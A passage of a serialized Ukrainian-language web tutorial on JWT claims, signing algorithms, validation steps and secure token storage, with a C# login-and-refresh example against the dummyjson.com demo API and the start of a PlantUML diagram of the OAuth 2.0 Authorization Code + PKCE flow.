категорії:",[3346,7317,7318,7330],{},[3349,7319,7320],{},[3352,7321,7322,7325,7328],{},[3355,7323,7324],{},"Тип",[3355,7326,7327],{},"Поля",[3355,7329,4080],{},[3368,7331,7332,7365,7386],{},[3352,7333,7334,7339,7362],{},[3373,7335,7336],{},[3321,7337,7338],{},"Registered",[3373,7340,7341,4263,7344,4263,7347,4263,7350,4263,7353,4263,7356,4263,7359],{},[3430,7342,7343],{},"sub",[3430,7345,7346],{},"iss",[3430,7348,7349],{},"aud",[3430,7351,7352],{},"exp",[3430,7354,7355],{},"nbf",[3430,7357,7358],{},"iat",[3430,7360,7361],{},"jti",[3373,7363,7364],{},"Стандартизовані RFC 7519",[3352,7366,7367,7372,7383],{},[3373,7368,7369],{},[3321,7370,7371],{},"Public",[3373,7373,7374,4263,7377,4263,7380],{},[3430,7375,7376],{},"name",[3430,7378,7379],{},"email",[3430,7381,7382],{},"roles",[3373,7384,7385],{},"Публічні, реєструються IANA",[3352,7387,7388,7393,7401],{},[3373,7389,7390],{},[3321,7391,7392],{},"Private",[3373,7394,7395,4263,7398],{},[3430,7396,7397],{},"department",[3430,7399,7400],{},"tenantId",[3373,7402,7403],{},"Власні claims застосунку",[3423,7405,7408],{"className":7406,"code":7407,"language":4628},[4626],"sub  — subject: ідентифікатор суб'єкта (userId)\niss  — issuer: хто видав токен\naud  — audience: для кого токен (перевіряється при валідації)\nexp  — expiration time: Unix timestamp закінчення\nnbf  — not before: токен недійсний до цього часу\niat  — issued at: час видачі\njti  — JWT ID: унікальний ідентифікатор (для blacklist)\n",[3430,7409,7407],{"__ignoreMap":3428},[3336,7411,7412,7415,7416,7419],{},[3321,7413,7414],{},"JWT — це не шифрування!"," Header та Payload можна прочитати без будь-якого ключа (просто Base64URL-декодувати). JWT ",[3321,7417,7418],{},"підписується",", але не шифрується (якщо не використовується JWE). Ніколи не зберігайте у JWT секретних даних: паролів, номерів карток, PII понад необхідний мінімум.",[3654,7421,7423],{"id":7422},"jwt-алгоритми-підпису","JWT алгоритми підпису",[3346,7425,7426,7444],{},[3349,7427,7428],{},[3352,7429,7430,7433,7435,7438,7441],{},[3355,7431,7432],{},"Алгоритм",[3355,7434,7324],{},[3355,7436,7437],{},"Ключ",[3355,7439,7440],{},"Перевага",[3355,7442,7443],{},"Недолік",[3368,7445,7446,7465,7482,7501],{},[3352,7447,7448,7453,7456,7459,7462],{},[3373,7449,7450],{},[3321,7451,7452],{},"HS256",[3373,7454,7455],{},"Symmetric",[3373,7457,7458],{},"Один секрет",[3373,7460,7461],{},"Простий, швидкий",[3373,7463,7464],{},"Всі сервіси мають один ключ",[3352,7466,7467,7472,7474,7476,7479],{},[3373,7468,7469],{},[3321,7470,7471],{},"HS512",[3373,7473,7455],{},[3373,7475,7458],{},[3373,7477,7478],{},"Довший хеш",[3373,7480,7481],{},"Більший розмір",[3352,7483,7484,7489,7492,7495,7498],{},[3373,7485,7486],{},[3321,7487,7488],{},"RS256",[3373,7490,7491],{},"Asymmetric",[3373,7493,7494],{},"Private\u002FPublic key",[3373,7496,7497],{},"Публічна верифікація",[3373,7499,7500],{},"Повільніший, більший токен",[3352,7502,7503,7508,7511,7513,7516],{},[3373,7504,7505],{},[3321,7506,7507],{},"ES256",[3373,7509,7510],{},"Asymmetric (ECDSA)",[3373,7512,7494],{},[3373,7514,7515],{},"Менший за RS256",[3373,7517,7518],{},"Складніша реалізація",[3317,7520,7521,7523,7524,7526],{},[3321,7522,7452],{}," — для монолітних застосунків (один сервер видає і перевіряє).\n",[3321,7525,7488],{}," — для мікросервісів: auth-сервер підписує приватним ключем, інші сервіси перевіряють публічним (без доступу до секрету).",[3654,7528,7530],{"id":7529},"jwt-валідація-7-кроків","JWT валідація: 7 кроків",[3423,7532,7535],{"className":7533,"code":7534,"language":4628},[4626],"1. Перевірити підпис — HMAC\u002FRSA верифікація\n2. Перевірити exp (expiration) — токен не протух\n3. Перевірити nbf (not before) — токен вже активний\n4. Перевірити iss (issuer) — від правильного видавця\n5. Перевірити aud (audience) — для цього сервісу\n6. Перевірити alg — алгоритм відповідає очікуваному (не \"none\"!)\n7. Опційно: перевірити jti у blacklist (для відкликання)\n",[3430,7536,7534],{"__ignoreMap":3428},[4313,7538,7539,7542,7543,7546,7547,7550],{},[3321,7540,7541],{},"Атака \"alg=none\"",": деякі бібліотеки приймали токени з ",[3430,7544,7545],{},"\"alg\":\"none\""," без підпису. Завжди ",[3321,7548,7549],{},"явно вказуйте очікуваний алгоритм"," при валідації і відхиляйте токени з іншими алгоритмами.",[3654,7552,7554],{"id":7553},"безпечне-зберігання-токенів-у-клієнті","Безпечне зберігання токенів у клієнті",[3346,7556,7557,7575],{},[3349,7558,7559],{},[3352,7560,7561,7564,7567,7569,7572],{},[3355,7562,7563],{},"Сховище",[3355,7565,7566],{},"XSS",[3355,7568,6302],{},[3355,7570,7571],{},"Persistence",[3355,7573,7574],{},"Рекомендація",[3368,7576,7577,7596,7613,7636],{},[3352,7578,7579,7584,7587,7590,7593],{},[3373,7580,7581],{},[3430,7582,7583],{},"localStorage",[3373,7585,7586],{},"❌ Вразливий",[3373,7588,7589],{},"✅ Не вразливий",[3373,7591,7592],{},"Permanent",[3373,7594,7595],{},"❌ Не рекомендується",[3352,7597,7598,7603,7605,7607,7610],{},[3373,7599,7600],{},[3430,7601,7602],{},"sessionStorage",[3373,7604,7586],{},[3373,7606,7589],{},[3373,7608,7609],{},"Tab-scoped",[3373,7611,7612],{},"⚠ Тільки не-критичні",[3352,7614,7615,7620,7623,7626,7629],{},[3373,7616,7617],{},[3321,7618,7619],{},"HttpOnly Cookie",[3373,7621,7622],{},"✅ Захищений",[3373,7624,7625],{},"❌ Вразливий (CSRF)",[3373,7627,7628],{},"Configurable",[3373,7630,7631,7632,7635],{},"✅ ",[3321,7633,7634],{},"Рекомендується"," + SameSite",[3352,7637,7638,7641,7643,7645,7648],{},[3373,7639,7640],{},"Memory (JS var)",[3373,7642,7622],{},[3373,7644,7589],{},[3373,7646,7647],{},"None (tab close)",[3373,7649,7650],{},"✅ Для access tokens",[3317,7652,7653],{},[3321,7654,7655],{},"Рекомендована стратегія для SPA:",[3686,7657,7658,7664,7673],{},[3689,7659,7660,7663],{},[3321,7661,7662],{},"Access token"," — у пам'яті JavaScript (втрачається при reload)",[3689,7665,7666,7669,7670,5058],{},[3321,7667,7668],{},"Refresh token"," — у ",[3430,7671,7672],{},"HttpOnly; Secure; SameSite=Strict",[3689,7674,7675],{},"При reload сторінки — тихо обмінювати refresh token на новий access token",[3423,7677,7679],{"className":4731,"code":7678,"language":4733,"meta":4734,"style":3428},"using System.Net.Http.Headers;\nusing System.Net.Http.Json;\n\n\u002F\u002F ── Крок 1: Отримати JWT-токен ───────────────────────────────────────────────\n\u002F\u002F dummyjson.com — реальний API з JWT аутентифікацією (справжній eyJ... токен)\nusing var client = new HttpClient { BaseAddress = new Uri(\"https:\u002F\u002Fdummyjson.com\u002F\") };\n\n\u002F\u002F POST \u002Fauth\u002Flogin → справжній JWT access + refresh token\nvar credentials = new { username = \"emilys\", password = \"emilyspass\", expiresInMins = 30 };\nHttpResponseMessage authResponse = await client.PostAsJsonAsync(\"auth\u002Flogin\", credentials);\nauthResponse.EnsureSuccessStatusCode();\n\nvar tokenResult = await authResponse.Content.ReadFromJsonAsync\u003CTokenResponse>();\nConsole.WriteLine($\"Access token:  {tokenResult?.AccessToken[..30]}...\");\nConsole.WriteLine($\"Token type:    {tokenResult?.TokenType ?? \"Bearer\"}\");\n\n\u002F\u002F ── Крок 2: Використовувати токен ────────────────────────────────────────────\nclient.DefaultRequestHeaders.Authorization =\n    new AuthenticationHeaderValue(\"Bearer\", tokenResult?.AccessToken);\n\n\u002F\u002F GET \u002Fauth\u002Fme — захищений endpoint, повертає поточного користувача\nHttpResponseMessage profileResponse = await client.GetAsync(\"auth\u002Fme\");\nprofileResponse.EnsureSuccessStatusCode();\n\nvar profile = await profileResponse.Content.ReadFromJsonAsync\u003CUserProfile>();\nConsole.WriteLine($\"Hello, {profile?.FirstName} {profile?.LastName}!\");\nConsole.WriteLine($\"Email: {profile?.Email}, Role: {profile?.Role}\");\n\n\u002F\u002F ── Крок 3: Оновити токен через Refresh Token ─────────────────────────────────\nif (tokenResult?.RefreshToken is not null)\n{\n    var refreshBody = new { refreshToken = tokenResult.RefreshToken, expiresInMins = 30 };\n    var refreshResp = await client.PostAsJsonAsync(\"auth\u002Frefresh\", refreshBody);\n\n    if (refreshResp.IsSuccessStatusCode)\n    {\n        var newTokens = await refreshResp.Content.ReadFromJsonAsync\u003CTokenResponse>();\n        client.DefaultRequestHeaders.Authorization =\n            new AuthenticationHeaderValue(\"Bearer\", newTokens?.AccessToken);\n        Console.WriteLine(\"Токен успішно оновлено.\");\n    }\n}\n\n\u002F\u002F ── Моделі ───────────────────────────────────────────────────────────────────\nrecord TokenResponse(string AccessToken, string RefreshToken, int ExpiresIn = 1800, string? TokenType = null);\nrecord UserProfile(int Id, string FirstName, string LastName, string Email, string? Role);\n",[3430,7680,7681,7701,7721,7725,7730,7735,7768,7772,7777,7819,7848,7859,7863,7894,7933,7969,7973,7978,7992,8014,8018,8023,8046,8057,8061,8089,8135,8181,8185,8190,8211,8215,8250,8279,8283,8300,8304,8332,8347,8369,8385,8389,8393,8397,8402,8451],{"__ignoreMap":3428},[3433,7682,7683,7685,7687,7689,7691,7693,7695,7697,7699],{"class":3435,"line":3436},[3433,7684,4742],{"class":4741},[3433,7686,4746],{"class":4745},[3433,7688,3670],{"class":4749},[3433,7690,4752],{"class":4745},[3433,7692,3670],{"class":4749},[3433,7694,4770],{"class":4745},[3433,7696,3670],{"class":4749},[3433,7698,5515],{"class":4745},[3433,7700,4755],{"class":4749},[3433,7702,7703,7705,7707,7709,7711,7713,7715,7717,7719],{"class":3435,"line":3442},[3433,7704,4742],{"class":4741},[3433,7706,4746],{"class":4745},[3433,7708,3670],{"class":4749},[3433,7710,4752],{"class":4745},[3433,7712,3670],{"class":4749},[3433,7714,4770],{"class":4745},[3433,7716,3670],{"class":4749},[3433,7718,4791],{"class":4745},[3433,7720,4755],{"class":4749},[3433,7722,7723],{"class":3435,"line":3448},[3433,7724,3458],{"emptyLinePlaceholder":3457},[3433,7726,7727],{"class":3435,"line":3454},[3433,7728,7729],{"class":4802},"\u002F\u002F ── Крок 1: Отримати JWT-токен ───────────────────────────────────────────────\n",[3433,7731,7732],{"class":3435,"line":3461},[3433,7733,7734],{"class":4802},"\u002F\u002F dummyjson.com — реальний API з JWT аутентифікацією (справжній eyJ... токен)\n",[3433,7736,7737,7739,7741,7743,7745,7747,7749,7751,7754,7756,7758,7760,7762,7765],{"class":3435,"line":3467},[3433,7738,4742],{"class":4741},[3433,7740,4882],{"class":3923},[3433,7742,4885],{"class":4811},[3433,7744,4815],{"class":4749},[3433,7746,4818],{"class":3923},[3433,7748,4892],{"class":4745},[3433,7750,5337],{"class":4749},[3433,7752,7753],{"class":4811},"BaseAddress",[3433,7755,4815],{"class":4749},[3433,7757,4818],{"class":3923},[3433,7759,4917],{"class":4745},[3433,7761,4895],{"class":4749},[3433,7763,7764],{"class":3926},"\"https:\u002F\u002Fdummyjson.com\u002F\"",[3433,7766,7767],{"class":4749},") };\n",[3433,7769,7770],{"class":3435,"line":3473},[3433,7771,3458],{"emptyLinePlaceholder":3457},[3433,7773,7774],{"class":3435,"line":3479},[3433,7775,7776],{"class":4802},"\u002F\u002F POST \u002Fauth\u002Flogin → справжній JWT access + refresh token\n",[3433,7778,7779,7781,7783,7785,7787,7789,7792,7794,7797,7799,7802,7804,7807,7809,7812,7814,7817],{"class":3435,"line":3484},[3433,7780,4808],{"class":3923},[3433,7782,6806],{"class":4811},[3433,7784,4815],{"class":4749},[3433,7786,4818],{"class":3923},[3433,7788,5337],{"class":4749},[3433,7790,7791],{"class":4811},"username",[3433,7793,4815],{"class":4749},[3433,7795,7796],{"class":3926},"\"emilys\"",[3433,7798,4263],{"class":4749},[3433,7800,7801],{"class":4811},"password",[3433,7803,4815],{"class":4749},[3433,7805,7806],{"class":3926},"\"emilyspass\"",[3433,7808,4263],{"class":4749},[3433,7810,7811],{"class":4811},"expiresInMins",[3433,7813,4815],{"class":4749},[3433,7815,7816],{"class":5604},"30",[3433,7818,5357],{"class":4749},[3433,7820,7821,7823,7826,7828,7830,7832,7834,7837,7839,7842,7844,7846],{"class":3435,"line":3490},[3433,7822,4952],{"class":4745},[3433,7824,7825],{"class":4811}," authResponse",[3433,7827,4815],{"class":4749},[3433,7829,4960],{"class":3923},[3433,7831,4885],{"class":4811},[3433,7833,3670],{"class":4749},[3433,7835,7836],{"class":4967},"PostAsJsonAsync",[3433,7838,4895],{"class":4749},[3433,7840,7841],{"class":3926},"\"auth\u002Flogin\"",[3433,7843,4263],{"class":4749},[3433,7845,6892],{"class":4811},[3433,7847,4976],{"class":4749},[3433,7849,7850,7853,7855,7857],{"class":3435,"line":3496},[3433,7851,7852],{"class":4811},"authResponse",[3433,7854,3670],{"class":4749},[3433,7856,4986],{"class":4967},[3433,7858,4824],{"class":4749},[3433,7860,7861],{"class":3435,"line":3502},[3433,7862,3458],{"emptyLinePlaceholder":3457},[3433,7864,7865,7867,7870,7872,7874,7876,7878,7881,7883,7886,7888,7891],{"class":3435,"line":3508},[3433,7866,4808],{"class":3923},[3433,7868,7869],{"class":4811}," tokenResult",[3433,7871,4815],{"class":4749},[3433,7873,4960],{"class":3923},[3433,7875,7825],{"class":4811},[3433,7877,3670],{"class":4749},[3433,7879,7880],{"class":4811},"Content",[3433,7882,3670],{"class":4749},[3433,7884,7885],{"class":4967},"ReadFromJsonAsync",[3433,7887,5005],{"class":4749},[3433,7889,7890],{"class":4745},"TokenResponse",[3433,7892,7893],{"class":4749},">();\n",[3433,7895,7896,7899,7901,7903,7905,7908,7910,7913,7916,7918,7921,7923,7925,7927,7929,7931],{"class":3435,"line":3513},[3433,7897,7898],{"class":4811},"Console",[3433,7900,3670],{"class":4749},[3433,7902,5080],{"class":4967},[3433,7904,4895],{"class":4749},[3433,7906,7907],{"class":3926},"$\"Access token:  ",[3433,7909,5089],{"class":5088},[3433,7911,7912],{"class":4811},"tokenResult",[3433,7914,7915],{"class":4749},"?",[3433,7917,3670],{"class":5088},[3433,7919,7920],{"class":4811},"AccessToken",[3433,7922,5666],{"class":5088},[3433,7924,5699],{"class":4749},[3433,7926,7816],{"class":5604},[3433,7928,5705],{"class":5088},[3433,7930,5708],{"class":3926},[3433,7932,4976],{"class":4749},[3433,7934,7935,7937,7939,7941,7943,7946,7948,7950,7952,7954,7957,7960,7963,7965,7967],{"class":3435,"line":3519},[3433,7936,7898],{"class":4811},[3433,7938,3670],{"class":4749},[3433,7940,5080],{"class":4967},[3433,7942,4895],{"class":4749},[3433,7944,7945],{"class":3926},"$\"Token type:    ",[3433,7947,5089],{"class":5088},[3433,7949,7912],{"class":4811},[3433,7951,7915],{"class":4749},[3433,7953,3670],{"class":5088},[3433,7955,7956],{"class":4811},"TokenType",[3433,7958,7959],{"class":4749}," ??",[3433,7961,7962],{"class":3926}," \"Bearer\"",[3433,7964,5100],{"class":5088},[3433,7966,5117],{"class":3926},[3433,7968,4976],{"class":4749},[3433,7970,7971],{"class":3435,"line":3525},[3433,7972,3458],{"emptyLinePlaceholder":3457},[3433,7974,7975],{"class":3435,"line":3531},[3433,7976,7977],{"class":4802},"\u002F\u002F ── Крок 2: Використовувати токен ────────────────────────────────────────────\n",[3433,7979,7980,7982,7984,7986,7988,7990],{"class":3435,"line":3537},[3433,7981,6863],{"class":4811},[3433,7983,3670],{"class":4749},[3433,7985,6868],{"class":4811},[3433,7987,3670],{"class":4749},[3433,7989,6547],{"class":4811},[3433,7991,6875],{"class":4749},[3433,7993,7994,7996,7998,8000,8003,8005,8007,8010,8012],{"class":3435,"line":3542},[3433,7995,5030],{"class":3923},[3433,7997,6882],{"class":4745},[3433,7999,4895],{"class":4749},[3433,8001,8002],{"class":3926},"\"Bearer\"",[3433,8004,4263],{"class":4749},[3433,8006,7912],{"class":4811},[3433,8008,8009],{"class":4749},"?.",[3433,8011,7920],{"class":4811},[3433,8013,4976],{"class":4749},[3433,8015,8016],{"class":3435,"line":3548},[3433,8017,3458],{"emptyLinePlaceholder":3457},[3433,8019,8020],{"class":3435,"line":3554},[3433,8021,8022],{"class":4802},"\u002F\u002F GET \u002Fauth\u002Fme — захищений endpoint, повертає поточного користувача\n",[3433,8024,8025,8027,8029,8031,8033,8035,8037,8039,8041,8044],{"class":3435,"line":3560},[3433,8026,4952],{"class":4745},[3433,8028,5253],{"class":4811},[3433,8030,4815],{"class":4749},[3433,8032,4960],{"class":3923},[3433,8034,4885],{"class":4811},[3433,8036,3670],{"class":4749},[3433,8038,4968],{"class":4967},[3433,8040,4895],{"class":4749},[3433,8042,8043],{"class":3926},"\"auth\u002Fme\"",[3433,8045,4976],{"class":4749},[3433,8047,8048,8051,8053,8055],{"class":3435,"line":3565},[3433,8049,8050],{"class":4811},"profileResponse",[3433,8052,3670],{"class":4749},[3433,8054,4986],{"class":4967},[3433,8056,4824],{"class":4749},[3433,8058,8059],{"class":3435,"line":3570},[3433,8060,3458],{"emptyLinePlaceholder":3457},[3433,8062,8063,8065,8068,8070,8072,8074,8076,8078,8080,8082,8084,8087],{"class":3435,"line":3576},[3433,8064,4808],{"class":3923},[3433,8066,8067],{"class":4811}," profile",[3433,8069,4815],{"class":4749},[3433,8071,4960],{"class":3923},[3433,8073,5253],{"class":4811},[3433,8075,3670],{"class":4749},[3433,8077,7880],{"class":4811},[3433,8079,3670],{"class":4749},[3433,8081,7885],{"class":4967},[3433,8083,5005],{"class":4749},[3433,8085,8086],{"class":4745},"UserProfile",[3433,8088,7893],{"class":4749},[3433,8090,8091,8093,8095,8097,8099,8102,8104,8107,8109,8111,8114,8116,8119,8121,8123,8125,8128,8130,8133],{"class":3435,"line":3582},[3433,8092,7898],{"class":4811},[3433,8094,3670],{"class":4749},[3433,8096,5080],{"class":4967},[3433,8098,4895],{"class":4749},[3433,8100,8101],{"class":3926},"$\"Hello, ",[3433,8103,5089],{"class":5088},[3433,8105,8106],{"class":4811},"profile",[3433,8108,7915],{"class":4749},[3433,8110,3670],{"class":5088},[3433,8112,8113],{"class":4811},"FirstName",[3433,8115,5100],{"class":5088},[3433,8117,8118],{"class":5088}," {",[3433,8120,8106],{"class":4811},[3433,8122,7915],{"class":4749},[3433,8124,3670],{"class":5088},[3433,8126,8127],{"class":4811},"LastName",[3433,8129,5100],{"class":5088},[3433,8131,8132],{"class":3926},"!\"",[3433,8134,4976],{"class":4749},[3433,8136,8137,8139,8141,8143,8145,8148,8150,8152,8154,8156,8159,8161,8164,8166,8168,8170,8172,8175,8177,8179],{"class":3435,"line":3587},[3433,8138,7898],{"class":4811},[3433,8140,3670],{"class":4749},[3433,8142,5080],{"class":4967},[3433,8144,4895],{"class":4749},[3433,8146,8147],{"class":3926},"$\"Email: ",[3433,8149,5089],{"class":5088},[3433,8151,8106],{"class":4811},[3433,8153,7915],{"class":4749},[3433,8155,3670],{"class":5088},[3433,8157,8158],{"class":4811},"Email",[3433,8160,5100],{"class":5088},[3433,8162,8163],{"class":3926},", Role: ",[3433,8165,5089],{"class":5088},[3433,8167,8106],{"class":4811},[3433,8169,7915],{"class":4749},[3433,8171,3670],{"class":5088},[3433,8173,8174],{"class":4811},"Role",[3433,8176,5100],{"class":5088},[3433,8178,5117],{"class":3926},[3433,8180,4976],{"class":4749},[3433,8182,8183],{"class":3435,"line":3592},[3433,8184,3458],{"emptyLinePlaceholder":3457},[3433,8186,8187],{"class":3435,"line":3598},[3433,8188,8189],{"class":4802},"\u002F\u002F ── Крок 3: Оновити токен через Refresh Token ─────────────────────────────────\n",[3433,8191,8192,8194,8196,8198,8200,8203,8205,8207,8209],{"class":3435,"line":3604},[3433,8193,5505],{"class":4741},[3433,8195,4638],{"class":4749},[3433,8197,7912],{"class":4811},[3433,8199,8009],{"class":4749},[3433,8201,8202],{"class":4811},"RefreshToken",[3433,8204,5771],{"class":3923},[3433,8206,5774],{"class":3923},[3433,8208,5777],{"class":3923},[3433,8210,4901],{"class":4749},[3433,8212,8213],{"class":3435,"line":3610},[3433,8214,4843],{"class":4749},[3433,8216,8217,8220,8223,8225,8227,8229,8232,8234,8236,8238,8240,8242,8244,8246,8248],{"class":3435,"line":3615},[3433,8218,8219],{"class":3923},"    var",[3433,8221,8222],{"class":4811}," refreshBody",[3433,8224,4815],{"class":4749},[3433,8226,4818],{"class":3923},[3433,8228,5337],{"class":4749},[3433,8230,8231],{"class":4811},"refreshToken",[3433,8233,4815],{"class":4749},[3433,8235,7912],{"class":4811},[3433,8237,3670],{"class":4749},[3433,8239,8202],{"class":4811},[3433,8241,4263],{"class":4749},[3433,8243,7811],{"class":4811},[3433,8245,4815],{"class":4749},[3433,8247,7816],{"class":5604},[3433,8249,5357],{"class":4749},[3433,8251,8252,8254,8257,8259,8261,8263,8265,8267,8269,8272,8274,8277],{"class":3435,"line":3620},[3433,8253,8219],{"class":3923},[3433,8255,8256],{"class":4811}," refreshResp",[3433,8258,4815],{"class":4749},[3433,8260,4960],{"class":3923},[3433,8262,4885],{"class":4811},[3433,8264,3670],{"class":4749},[3433,8266,7836],{"class":4967},[3433,8268,4895],{"class":4749},[3433,8270,8271],{"class":3926},"\"auth\u002Frefresh\"",[3433,8273,4263],{"class":4749},[3433,8275,8276],{"class":4811},"refreshBody",[3433,8278,4976],{"class":4749},[3433,8280,8281],{"class":3435,"line":3626},[3433,8282,3458],{"emptyLinePlaceholder":3457},[3433,8284,8285,8288,8290,8293,8295,8298],{"class":3435,"line":3632},[3433,8286,8287],{"class":4741},"    if",[3433,8289,4638],{"class":4749},[3433,8291,8292],{"class":4811},"refreshResp",[3433,8294,3670],{"class":4749},[3433,8296,8297],{"class":4811},"IsSuccessStatusCode",[3433,8299,4901],{"class":4749},[3433,8301,8302],{"class":3435,"line":3637},[3433,8303,5565],{"class":4749},[3433,8305,8306,8309,8312,8314,8316,8318,8320,8322,8324,8326,8328,8330],{"class":3435,"line":3642},[3433,8307,8308],{"class":3923},"        var",[3433,8310,8311],{"class":4811}," newTokens",[3433,8313,4815],{"class":4749},[3433,8315,4960],{"class":3923},[3433,8317,8256],{"class":4811},[3433,8319,3670],{"class":4749},[3433,8321,7880],{"class":4811},[3433,8323,3670],{"class":4749},[3433,8325,7885],{"class":4967},[3433,8327,5005],{"class":4749},[3433,8329,7890],{"class":4745},[3433,8331,7893],{"class":4749},[3433,8333,8334,8337,8339,8341,8343,8345],{"class":3435,"line":3895},[3433,8335,8336],{"class":4811},"        client",[3433,8338,3670],{"class":4749},[3433,8340,6868],{"class":4811},[3433,8342,3670],{"class":4749},[3433,8344,6547],{"class":4811},[3433,8346,6875],{"class":4749},[3433,8348,8349,8352,8354,8356,8358,8360,8363,8365,8367],{"class":3435,"line":3900},[3433,8350,8351],{"class":3923},"            new",[3433,8353,6882],{"class":4745},[3433,8355,4895],{"class":4749},[3433,8357,8002],{"class":3926},[3433,8359,4263],{"class":4749},[3433,8361,8362],{"class":4811},"newTokens",[3433,8364,8009],{"class":4749},[3433,8366,7920],{"class":4811},[3433,8368,4976],{"class":4749},[3433,8370,8371,8374,8376,8378,8380,8383],{"class":3435,"line":5248},[3433,8372,8373],{"class":4811},"        Console",[3433,8375,3670],{"class":4749},[3433,8377,5080],{"class":4967},[3433,8379,4895],{"class":4749},[3433,8381,8382],{"class":3926},"\"Токен успішно оновлено.\"",[3433,8384,4976],{"class":4749},[3433,8386,8387],{"class":3435,"line":5273},[3433,8388,5720],{"class":4749},[3433,8390,8391],{"class":3435,"line":6516},[3433,8392,3813],{"class":4749},[3433,8394,8395],{"class":3435,"line":6522},[3433,8396,3458],{"emptyLinePlaceholder":3457},[3433,8398,8399],{"class":3435,"line":6527},[3433,8400,8401],{"class":4802},"\u002F\u002F ── Моделі ───────────────────────────────────────────────────────────────────\n",[3433,8403,8404,8407,8410,8412,8414,8417,8419,8421,8424,8426,8429,8432,8434,8437,8439,8441,8443,8445,8447,8449],{"class":3435,"line":6532},[3433,8405,8406],{"class":3923},"record",[3433,8408,8409],{"class":4745}," TokenResponse",[3433,8411,4895],{"class":4749},[3433,8413,3940],{"class":3923},[3433,8415,8416],{"class":4811}," AccessToken",[3433,8418,4263],{"class":4749},[3433,8420,3940],{"class":3923},[3433,8422,8423],{"class":4811}," RefreshToken",[3433,8425,4263],{"class":4749},[3433,8427,8428],{"class":3923},"int",[3433,8430,8431],{"class":4811}," ExpiresIn",[3433,8433,4815],{"class":4749},[3433,8435,8436],{"class":5604},"1800",[3433,8438,4263],{"class":4749},[3433,8440,3940],{"class":3923},[3433,8442,5412],{"class":4749},[3433,8444,7956],{"class":4811},[3433,8446,4815],{"class":4749},[3433,8448,5420],{"class":3923},[3433,8450,4976],{"class":4749},[3433,8452,8454,8456,8459,8461,8463,8466,8468,8470,8473,8475,8477,8480,8482,8484,8487,8489,8491,8493,8495],{"class":3435,"line":8453},46,[3433,8455,8406],{"class":3923},[3433,8457,8458],{"class":4745}," UserProfile",[3433,8460,4895],{"class":4749},[3433,8462,8428],{"class":3923},[3433,8464,8465],{"class":4811}," Id",[3433,8467,4263],{"class":4749},[3433,8469,3940],{"class":3923},[3433,8471,8472],{"class":4811}," FirstName",[3433,8474,4263],{"class":4749},[3433,8476,3940],{"class":3923},[3433,8478,8479],{"class":4811}," LastName",[3433,8481,4263],{"class":4749},[3433,8483,3940],{"class":3923},[3433,8485,8486],{"class":4811}," Email",[3433,8488,4263],{"class":4749},[3433,8490,3940],{"class":3923},[3433,8492,5412],{"class":4749},[3433,8494,8174],{"class":4811},[3433,8496,4976],{"class":4749},[3647,8498],{},[3654,8500,8502],{"id":8501},"oauth-20-делегована-авторизація","OAuth 2.0: делегована авторизація",[3317,8504,8505,8506,8509],{},"OAuth 2.0 (RFC 6749) — це не схема аутентифікації, а фреймворк ",[3321,8507,8508],{},"делегованої авторизації",". Він відповідає на питання: «Як дозволити стороньому застосунку діяти від імені користувача, не передаючи йому пароль?»",[3317,8511,8512,8513,8516],{},"OAuth 2.0 визначає чотири ",[3321,8514,8515],{},"grant type"," (варіанти отримання токену), кожен для свого сценарію:",[3346,8518,8519,8532],{},[3349,8520,8521],{},[3352,8522,8523,8526,8529],{},[3355,8524,8525],{},"Grant Type",[3355,8527,8528],{},"Сценарій",[3355,8530,8531],{},"Участь користувача",[3368,8533,8534,8547,8560,8573],{},[3352,8535,8536,8541,8544],{},[3373,8537,8538],{},[3321,8539,8540],{},"Authorization Code + PKCE",[3373,8542,8543],{},"Вебзастосунки, SPA, мобільні",[3373,8545,8546],{},"Так — логін на auth server",[3352,8548,8549,8554,8557],{},[3373,8550,8551],{},[3321,8552,8553],{},"Client Credentials",[3373,8555,8556],{},"Server-to-server (машина-машина)",[3373,8558,8559],{},"Ні",[3352,8561,8562,8567,8570],{},[3373,8563,8564],{},[3321,8565,8566],{},"Device Authorization",[3373,8568,8569],{},"TV, CLI без браузера",[3373,8571,8572],{},"Так — з іншого пристрою",[3352,8574,8575,8580,8583],{},[3373,8576,8577],{},[3321,8578,8579],{},"Refresh Token",[3373,8581,8582],{},"Оновлення access token",[3373,8584,8559],{},[8586,8587,8589],"h4",{"id":8588},"authorization-code-flow-pkce","Authorization Code Flow + PKCE",[3420,8591,8592],{},[3423,8593,8595],{"className":3425,"code":8594,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"Користувач\" as user\nparticipant \"Застосунок\\n(Client)\" as app #e3f2fd\nparticipant \"Authorization\\nServer\\n(Google\u002FGitHub)\" as auth #fff9c4\nparticipant \"Resource Server\\n(API)\" as api #e8f5e9\n\nuser -> app : Натискає \"Увійти через GitHub\"\n\nnote over app\n  PKCE: генерує\n  code_verifier (random)\n  code_challenge = SHA256(verifier)\nend note\n\napp -> auth : GET \u002Fauthorize?\\n  client_id=...&\\n  redirect_uri=https:\u002F\u002Fapp.com\u002Fcallback&\\n  scope=read:user,repo&\\n  state=random_csrf_token&\\n  response_type=code&\\n  code_challenge=BASE64URL(SHA256(verifier))&\\n  code_challenge_method=S256\n\nauth -> user : Сторінка логіну GitHub\nuser -> auth : Вводить логін\u002Fпароль\\nта підтверджує scopes\nauth -> app : Редирект:\\nhttps:\u002F\u002Fapp.com\u002Fcallback?code=AUTH_CODE&state=TOKEN\n\nnote over app\n  Перевірка state!\n  Захист від CSRF.\nend note\n\napp -> auth : POST \u002Ftoken\\n  code=AUTH_CODE\\n  client_id=...\\n  code_verifier=ORIGINAL_VERIFIER\\n  grant_type=authorization_code\nauth -> auth : Перевіряє:\\n  SHA256(verifier) == code_challenge\nauth --> app : {\\n  \"access_token\": \"...\",\\n  \"refresh_token\": \"...\",\\n  \"expires_in\": 3600\\n}\n\napp -> api : GET \u002Fuser\\nAuthorization: Bearer ACCESS_TOKEN\napi --> app : Дані користувача\n\n@enduml\n",[3430,8596,8597,8601,8605,8609,8613,8617,8622,8627,8632,8636,8641,8645,8650,8655,8660,8665,8669,8673,8678,8682,8687,8692,8697,8701,8705,8710,8714,8718,8722,8727,8732,8737,8741,8746,8751,8755],{"__ignoreMap":3428},[3433,8598,8599],{"class":3435,"line":3436},[3433,8600,3439],{},[3433,8602,8603],{"class":3435,"line":3442},[3433,8604,3445],{},[3433,8606,8607],{"class":3435,"line":3448},[3433,8608,3451],{},[3433,8610,8611],{"class":3435,"line":3454},[3433,8612,3458],{"emptyLinePlaceholder":3457},[3433,8614,8615],{"class":3435,"line":3461},[3433,8616,3464],{},[3433,8618,8619],{"class":3435,"line":3467},[3433,8620,8621],{},"participant \"Застосунок\\n(Client)\" as app 